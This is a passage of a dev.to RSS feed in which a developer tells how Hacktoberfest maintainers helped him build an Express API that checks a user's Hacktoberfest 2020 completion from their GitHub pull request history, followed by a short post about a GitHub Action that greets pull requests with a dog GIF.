&lt;p&gt;Yes, that is what I did. Found the top contributor, her name is Frida. She had her mail on GitHub, even though I couldn't really comprehend why she would help me. Yet I mailed her, then I found a username called &lt;code&gt;MattIPv4&lt;/code&gt;. This dude had his Twitter handle on GitHub, and his GitHub Profile said &lt;em&gt;Community Platform Manager @digitalocean&lt;/em&gt;. Now, this is the real jackpot.&lt;/p&gt;
&lt;h3&gt;
  
  
  The Magic
&lt;/h3&gt;

&lt;p&gt;I texted Matt on Twitter, He asked me to drop a mail to Hacktoberfest support. As Matt suggested, I sent the same mail which I had sent to Frida. I was surprised to get a reply back within &lt;em&gt;17 mins&lt;/em&gt;. &lt;br&gt;
Below is the reply I got&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fyu1e85a45xjfrtomf0fj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fyu1e85a45xjfrtomf0fj.png" alt="Email" width="800" height="293"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As one could see, the file for the individual functionalities was clearly mentioned. This was like the ultimate tip, went right into the files, although I was not able to recognise any Ruby Code. I found out that there is a GraphQL query which fetches PR History. Yes, I was initially referring to only REST API of GitHub as I wasn't very much comfortable with GraphQL. I didn't even have to write my own GraphQL query, I copy pasted the exact query which was in the repo to my NodeJS GraphQL client.&lt;/p&gt;
&lt;h3&gt;
  
  
  Actual work begins
&lt;/h3&gt;

&lt;p&gt;Now that I have the data, I just had to filter the PR based on the guidelines. Quickly I fired up an Express Server with all the basic setup. I always prefer Express and NodeJS for backend, it is powerful and super fast to build. With NPM, one could do any damn thing they want to, cause there would be an NPM package for every damn thing B|.&lt;br&gt;
I filtered the data according to the updated guidelines, even added support to handle PRs which counts before the guidelines were updated.&lt;/p&gt;
&lt;h3&gt;
  
  
  What the API does
&lt;/h3&gt;

&lt;p&gt;The API takes in the user token and responds back with a &lt;code&gt;{success:True}&lt;/code&gt; if they have completed the challenge else &lt;code&gt;{success:False}&lt;/code&gt; if they haven't.  Check out the Repository on GitHub to see an example Request and Response.&lt;br&gt;
&lt;/p&gt;
&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/HarishTeens" rel="noopener noreferrer"&gt;
        HarishTeens
      &lt;/a&gt; / &lt;a href="https://github.com/HarishTeens/hacktoberfest-validation" rel="noopener noreferrer"&gt;
        hacktoberfest-validation
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Hacktoberfest 2020 Validation Checker&lt;/h2&gt;

&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;Introduction&lt;/h3&gt;

&lt;/div&gt;
&lt;p&gt;An API to simulate DigitalOcean's Hacktoberfest Validation Check.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;Step to Use the API&lt;/h3&gt;

&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Make a POST Request to &lt;code&gt;http://localhost:4000/hacktoberfest&lt;/code&gt; .&lt;/li&gt;
&lt;li&gt;Send your PAT(Personal Access Token) in Body.  Check this &lt;a href="https://github.com/settings/tokens" rel="noopener noreferrer"&gt;link&lt;/a&gt; to get your PAT.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Example&lt;/h2&gt;

&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;Request&lt;/h3&gt;

&lt;/div&gt;
&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://github.com/HarishTeens/hacktoberfest-validation/assets/Screenshot_20201116_154027.png"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2FHarishTeens%2Fhacktoberfest-validation%2FHEAD%2Fassets%2FScreenshot_20201116_154027.png" alt="image"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;Response&lt;/h3&gt;

&lt;/div&gt;
&lt;p&gt;If completed,
&lt;code&gt;{  success:true    }&lt;/code&gt;&lt;br&gt;
else &lt;code&gt;{  success:false }&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;References: &lt;a href="https://github.com/digitalocean/hacktoberfest" rel="noopener noreferrer"&gt;Official Digital Ocean's Repository&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Special Thanks to &lt;a href="https://github.com/fridaland" rel="noopener noreferrer"&gt;@fridaland&lt;/a&gt; and &lt;a href="https://github.com/MattIPv4" rel="noopener noreferrer"&gt;@MattIPv4&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;



&lt;/div&gt;
&lt;br&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/HarishTeens/hacktoberfest-validation" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;h3&gt;
  
  
  How the API works
&lt;/h3&gt;

&lt;p&gt;Here are the steps which execute in sequence&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Get User Token&lt;/li&gt;
&lt;li&gt;Fetch PR History&lt;/li&gt;
&lt;li&gt;Filter the PRs in accordance with DO's guidelines.&lt;/li&gt;
&lt;li&gt;Return True/False based on the count of valid PRs.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  What more could be improved
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;For now, it just works. There is literally zero error handling, if things don't go as expected, the app would definitely break. I am not super proud about that, will definitely work on it. &lt;/li&gt;
&lt;li&gt;Also the filtering logic and steps could be done more efficiently. Couldn't really get that logic from DO's repo as it was in Ruby.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;If you have reached this point, probably you are wondering. What is so great about this? This is a piece of cake to me, I could code this in an hour. I'd say great!&lt;br&gt;&lt;br&gt;
This is not a tutorial on how to build the Hacktoberfest Validation API. This is the story of how I got to it. It felt really magical to see Matt replying to a random stranger's Twitter text and a magic mail which points me to the right direction. All adding more beauty of how opensource works. Also, I got the mail back from Frida a day later! Lastly, this is not an article to praise DigitalOcean and their support.&lt;br&gt;
P.S. Shhh... They didn't pay me ;)&lt;/p&gt;

&lt;p&gt;I was really amazed that day when I realised that people are so kind and helping in the open-source community. It was a blissful experience on the whole &amp;lt;3.&lt;/p&gt;

</description>
      <category>hacktoberfest</category>
      <category>github</category>
      <category>opensource</category>
      <category>api</category>
    </item>
    <item>
      <title>Woofy Greet Actions</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Thu, 17 Sep 2020 14:23:34 +0000</pubDate>
      <link>https://dev.to/harishteens/woofy-greet-actions-3655</link>
      <guid>https://dev.to/harishteens/woofy-greet-actions-3655</guid>
      <description>&lt;h3&gt;
  
  
  My Workflow
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Woofy Greet&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Woofy greet actions could be used to make comment with a dog GIF and template text whenever someone sends a Pull Request.&lt;/p&gt;

&lt;h3&gt;
  
  
  Submission Category:
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Maintainer Must-Haves&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Yaml File or Link to Code
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://github.com/marketplace/actions/woofy-greet#woofy-greet-actions" rel="noopener noreferrer"&gt;Marketplace Link&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Additional Resources / Info
&lt;/h3&gt;

&lt;p&gt;To get a random GIF of the dogs, the actions uses &lt;a href="https://www.npmjs.com/package/@giphy/js-fetch-api" rel="noopener noreferrer"&gt;NPM package&lt;/a&gt; provided by &lt;a href="https://giphy.com/" rel="noopener noreferrer"&gt;Giphy&lt;/a&gt;&lt;/p&gt;

</description>
      <category>actionshackathon</category>
    </item>
  </channel>
</rss>
